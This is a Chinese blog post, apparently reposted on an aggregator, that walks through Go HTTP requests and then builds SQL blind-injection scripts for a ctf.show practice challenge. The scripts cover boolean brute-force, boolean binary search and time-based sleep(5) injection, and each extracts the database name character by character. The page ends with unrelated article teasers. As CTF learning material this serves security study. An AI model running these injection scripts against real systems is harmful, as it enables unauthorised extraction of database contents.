GO的sql注入盲注脚本

之间学习了go的语法 这里就开始go的爬虫

与其说是爬虫 其实就是网站的访问如何实现 因为之前想通过go写sql注入盲注脚本

发现不是那么简单 这里开始研究一下

首先是请求网站

这里貌似很简单

package mainimport ("fmt""net/http"
)func main() {res, err := http.Get("https://www.baidu.com/")fmt.Println(res, err)
}
&{200 OK 200 HTTP/1.1 1 1 map[Content-Type:[application/x-gzip] Date:[Thu, 14 Dec 2023 06:31:16 GMT] Server:[bfe]] 0xc0001a0020 -1 [] false true map[] 0xc000136000 0xc000118370} <nil>发现这里是一个地址

 然后就是读取源代码

package mainimport ("fmt""io""net/http""os"
)func main() {res, err := http.Get("https://www.baidu.com/")if err != nil {fmt.Println("connnect error")os.Exit(0)}body, err := io.ReadAll(res.Body)// fmt.Println(body)fmt.Println(string(body))
}

 这里再难一点

package mainimport ("fmt""io""net/http""os"
)func main() {var url string = "http://www.baidu.com/"download(url)}
func download(url string) {client := &http.Client{} //这里是将 client作为http.clinet的结构体4res, _ := http.NewRequest("GET", url, nil)res.Header.Set("User-Agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)") //设置handerresp, err := client.Do(res)if err != nil {fmt.Println("connect error")os.Exit(0)}defer resp.Body.Close() //取消链接 这里入栈 即 最后进行取消links, err := io.ReadAll(resp.Body)fmt.Println(string(links))
}

通过函数 然后发送请求

package mainimport ("fmt""io""net/http""os""strings"
)func main() {var url string = "http://www.baidu.com/"download(url)}
func download(url string) {client := &http.Client{} //这里是将 client作为http.clinet的结构体4res, _ := http.NewRequest("GET", url, nil)res.Header.Set("User-Agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)") //设置handerresp, err := client.Do(res)if err != nil {fmt.Println("connect error")os.Exit(0)}defer resp.Body.Close() //取消链接 这里入栈 即 最后进行取消links, err := io.ReadAll(resp.Body)// fmt.Println(string(links))if strings.Contains(string(links), "百度一下") {fmt.Println("存在")} else {fmt.Println("不存在")}
}

然后这里开始尝试写一下盲注脚本

这里开始是bool脚本 题目是ctfshow 174

golang bool注入普通脚本

package mainimport ("fmt""io""net/http""net/url""os""strings"
)var payload string = "1' and (ascii(substr((select database()),%v,1))=%v)-- +"
var flag stringfunc main() {var url string = "http://0b85a32b-ecd2-47f2-8883-22c57d54f0b2.challenge.ctf.show/api/v4.php?id="sqlin(url)
}
func sqlin(url1 string) {for i := 1; i < 200; i++ {for j := 0; j < 127; j++ {if j >= 50 {payload1 := fmt.Sprintf(payload, i, j)// fmt.Println(payload1)payload2 := url.QueryEscape(payload1)payload1 = url1 + payload2// fmt.Println(payload1)re := send(payload1)if check(re) {flag += string(j)fmt.Println(flag)}}}}
}func send(url string) string {client := &http.Client{}res, _ := http.NewRequest("GET", url, nil)res.Header.Set("User-Agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)")resq, err := client.Do(res)if err != nil {fmt.Println("connect error")os.Exit(0)}defer resq.Body.Close()rest, err := io.ReadAll(resq.Body)res1 := string(rest)return res1
}func check(test string) bool {if strings.Contains(test, "admin") {return true} else {return false}
}

很慢哦

二分法看看如何实现

golang bool注入二分法脚本

package mainimport ("fmt""io""net/http""net/url""os""strings"
)var payload string = "1' and (ascii(substr((select database()),%v,1))>%v)-- +"
var flag stringfunc main() {var url string = "http://0b85a32b-ecd2-47f2-8883-22c57d54f0b2.challenge.ctf.show/api/v4.php?id="sqlin(url)
}
func sqlin(url1 string) {for i := 1; i < 200; i++ {high := 127low := 37mid := (high + low) / 2// fmt.Println(mid)for high > low {payload1 := fmt.Sprintf(payload, i, mid)// fmt.Println(payload1)payload2 := url.QueryEscape(payload1)payload1 = url1 + payload2// fmt.Println(payload1)re := send(payload1)if check(re) {low = mid + 1} else {high = mid}// fmt.Println(low, high)mid = (high + low) / 2if string(mid) == "%" {os.Exit(0)}}flag += string(mid)fmt.Println(flag)}
}func send(url string) string {client := &http.Client{}res, _ := http.NewRequest("GET", url, nil)res.Header.Set("User-Agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)")resq, err := client.Do(res)if err != nil {fmt.Println("connect error")os.Exit(0)}defer resq.Body.Close()rest, err := io.ReadAll(resq.Body)res1 := string(rest)return res1
}func check(test string) bool {if strings.Contains(test, "admin") {return true} else {return false}
}

能发现其实其他都是差不多的 只是修改了

if check(re) {low = mid + 1} else {high = mid}// fmt.Println(low, high)mid = (high + low) / 2if string(mid) == "%" {os.Exit(0)}

这一块 速度又起来了

下面想尝试一下时间注入

golang time注入二分法脚本

package mainimport ("fmt""io""net/http""net/url""os""time"
)var payload string = "1' and if((ascii(substr((select database()),%v,1))>%v),sleep(5),0)-- +"
var flag stringfunc main() {var url string = "http://0b85a32b-ecd2-47f2-8883-22c57d54f0b2.challenge.ctf.show/api/v4.php?id="sqlin(url)
}
func sqlin(url1 string) {for i := 1; i < 200; i++ {high := 127low := 37mid := (high + low) / 2// fmt.Println(mid)for high > low {payload1 := fmt.Sprintf(payload, i, mid)fmt.Println(payload1)payload2 := url.QueryEscape(payload1)payload1 = url1 + payload2// fmt.Println(payload1)_, int123 := send(payload1)if check(int123) {low = mid + 1} else {high = mid}// fmt.Println(low, high)mid = (high + low) / 2if string(mid) == "%" {os.Exit(0)}}flag += string(mid)fmt.Println(flag)}
}func send(url string) (string, int64) {client := &http.Client{}res, _ := http.NewRequest("GET", url, nil)res.Header.Set("User-Agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)")start := time.Now()resq, err := client.Do(res)if err != nil {fmt.Println("connect error")os.Exit(0)}defer resq.Body.Close()elapsed := time.Since(start).Milliseconds()rest, err := io.ReadAll(resq.Body)res1 := string(rest)return res1, elapsed
}func check(test int64) bool {if test > 5000 {return true} else {return false}
}

这里是sql注入time的二分法但是我想进行优化

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/229920.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

C语言数据结构-----二叉树(3)二叉树相关练习题

前言 前面详细讲述了二叉树的相关知识&#xff0c;为了巩固&#xff0c;做一些相关的练习题 文章目录 前言1.某二叉树共有 399 个结点&#xff0c;其中有 199 个度为 2 的结点&#xff0c;则该二叉树中的叶子结点数为&#xff1f;2.下列数据结构中&#xff0c;不适合采用顺序存…

文章解读与仿真程序复现思路——电力系统自动化EI\CSCD\北大核心《市场环境下考虑全周期经济效益的工业园区共享储能优化配置》

这个标题涉及到工业园区中共享储能系统的优化配置&#xff0c;考虑了市场环境和全周期经济效益。以下是对标题中各个要素的解读&#xff1a; 市场环境下&#xff1a; 指的是工业园区所处的商业和经济背景。这可能包括市场竞争状况、电力市场价格波动、政策法规等因素。在这一环…

WordCloud—— 词云

【说明】文章内容来自《机器学习入门——基于sklearn》&#xff0c;用于学习记录。若有争议联系删除。 wordcloud 是python的第三方库&#xff0c;称为词云&#xff0c;也成文字云&#xff0c;可以根据文本中的词频以直观和艺术化的形式展示文本中词语的重要性。 依赖于pillow …

kotlin 基础概览

继承类/实现接口 继承类和实现接口都是用的 : &#xff0c;如果类中没有构造器 ( constructor )&#xff0c;需要在父类类名后面加上 () &#xff1a; class MainActivity : BaseActivity(), View.OnClickListener 空安全设计 Kotlin 中的类型分为「可空类型」和「不可空类型」…

浏览器js中添加日志断点

一、需求 本地调试时&#xff0c;可以直接代码里使用console.log直接调试&#xff1b; 代码已更新到服务器&#xff0c;不想要提交代码&#xff0c;如何通过添加console.log调试呢 二、实现 使用浏览器添加日志断点的方式&#xff0c;当然vue这种打包的不可行哦 设置完成后…

【算法】bfs与dfs算法解决FloodFill(洪流)问题(C++)

文章目录 1. 什么是FloodFill问题2. 用什么方法解决FloodFill问题3. 具体例题773.图像渲染200.岛屿数量695.岛屿的最大面积130.被围绕的区域 1. 什么是FloodFill问题 一般floodfill问题可以描述为&#xff1a;给定一个二维矩阵&#xff0c;其中每个元素代表一个像素点&#xf…

setXxx getXxx 封装

1.封装介绍 封装(encapsulation)就是把抽象出的数据[属性]和对数据的操作[方法]封装在一起,数据被保护在内部,程序的其它部分只有通过被授权的操作[方法],才能对数据进行操作。 2.封装的理解和好处 (1)隐藏实现细节 方法(连接数据库)<-----调用(传入参数...) 只负责调…

寻找最大整数 C语言xdoj51

问题描述 从键盘输入四个整数&#xff0c;找出其中的最大值并将其输出。 输入说明 输入4个整数&#xff0c;用空格分隔 输出说明 输出值最大的一个整数 输入样例 25 99 -46 0 输出样例 99 #include <stdio.h>//寻找最大整数 int main() {int i, a[4]…

【Gradle】运行时一直要下载 gradle-8.5-bin.zip

如何解决 Downloading https://services.gradle.org/distributions/gradle-8.5-bin.zip 的问题 文章目录 1. 问题描述2. 解决方法1&#xff09;找到 gradle-wrapper.properties2&#xff09;修改 distributionUrl 对应的值 3. 验证 1. 问题描述 在执行 gradlew 命令的时候&…

【数据结构】(堆)Top-k|堆排序

目录 概念&#xff1a; 堆的实现 构建 初始化 销毁 插入元素 往上调整 删除堆顶元素 往下调整 返回堆顶元素 返回有效个数 是否为空 堆排序 Top-k问题 ​编辑 创建数据 堆top-k 概念&#xff1a; 堆是将数据按照完全二叉树存储方式存储到一维数组中&#xff…

[计网00] 计算机网络开篇导论

目录 前言 计算机网络的概念 计算机网络的分层 计算机网络的分类 网络的标准化工作和相关组织 计算机网络的性能指标 前言 计算机网络在我们的日常生活中无处不在 在网络会有各种各样的协议和封装 保证我们的信息完整,无误的在各个客户端之前传输 计算机网络的概念 四…

从文字下乡到人人学英语

从建国到改革开放&#xff0c;从恢复高考到新式教育改革&#xff0c;中国飞速发展&#xff0c;文字需求也在不断增大&#xff0c;在“地球村”的时代下&#xff0c;我们要“习文字之变&#xff0c;顺时代发展。” 古言道&#xff1a;“仓颉作书&#xff0c;后稷作稼”&#xff…

UE4 去除重复纹理

如果直接连的话&#xff0c;效果如下&#xff1a; 就存在很多重复的纹理&#xff0c;如何解决这个问题呢&#xff1f; 将同一个纹理&#xff0c;用不同的Tilling&#xff0c;将Noise进行Lerp两者之间&#xff0c;为什么要这么做呢&#xff1f;因为用一个做清晰纹理&#xff0c;…

设计模式——命令模式

引言 命令模式是一种行为设计模式&#xff0c; 它可将请求转换为一个包含与请求相关的所有信息的独立对象。 该转换让你能根据不同的请求将方法参数化、 延迟请求执行或将其放入队列中&#xff0c; 且能实现可撤销操作。 问题 假如你正在开发一款新的文字编辑器&#xff0c; …

C语言—小小圣诞树

这个代码会询问用户输入圣诞树的高度&#xff0c;然后根据输入的高度在控制台上显示相应高度的圣诞树。 #include <stdio.h>int main() {int height, spaces, stars;printf("请输入圣诞树的高度: ");scanf("%d", &height);spaces height - 1;st…

Linux---远程登录、远程拷贝命令

1. 远程登录、远程拷贝命令的介绍 命令说明ssh远程登录scp远程拷贝 2. ssh命令的使用 ssh是专门为远程登录提供的一个安全性协议&#xff0c;常用于远程登录&#xff0c;想要使用ssh服务&#xff0c;需要安装相应的服务端和客户端软件&#xff0c;当软件安装成功以后就可以使…

论文阅读《DPS-Net: Deep Polarimetric Stereo Depth Estimation》

论文地址&#xff1a;https://openaccess.thecvf.com/content/ICCV2023/html/Tian_DPS-Net_Deep_Polarimetric_Stereo_Depth_Estimation_ICCV_2023_paper.html 概述 立体匹配模型难以处理无纹理场景的匹配&#xff0c;现有的方法通常假设物体表面是光滑的&#xff0c;或者光照是…

express中实现将mysql中的数据导出为excel

express中实现将mysql中的数据导出为excel 安装node-excel cnpm install node-xlsx -S封装公用的导出方法 /*** 查询* param tableName: 表名* param sqlJson&#xff1a;需要拼接的SQL* returns {Promise<unknown>}*/ const find (tableName, sqlJson) > {return…

Linux——权限

个人主页&#xff1a;日刷百题 系列专栏&#xff1a;〖C语言小游戏〗〖Linux〗〖数据结构〗 〖C语言〗 &#x1f30e;欢迎各位→点赞&#x1f44d;收藏⭐️留言&#x1f4dd; ​ ​ 一、 Linux下用户的分类 Linux下有两种用户&#xff1a; 1. root&#xff08;超级管理员用户…

基于FPGA的HDMI编码模块设计(包含工程源文件)

前文已经通过FPGA实现了TMDS视频编码的算法&#xff0c;也对单沿数据采样转双沿数据采样的ODDR原语做了详细讲解和仿真验证&#xff0c;本文将这些模块结合&#xff0c;设计出HDMI编码模块&#xff0c;在HDMI接口的显示器上显示一张图片。 1、整体思路 如图1所示&#xff0c;是…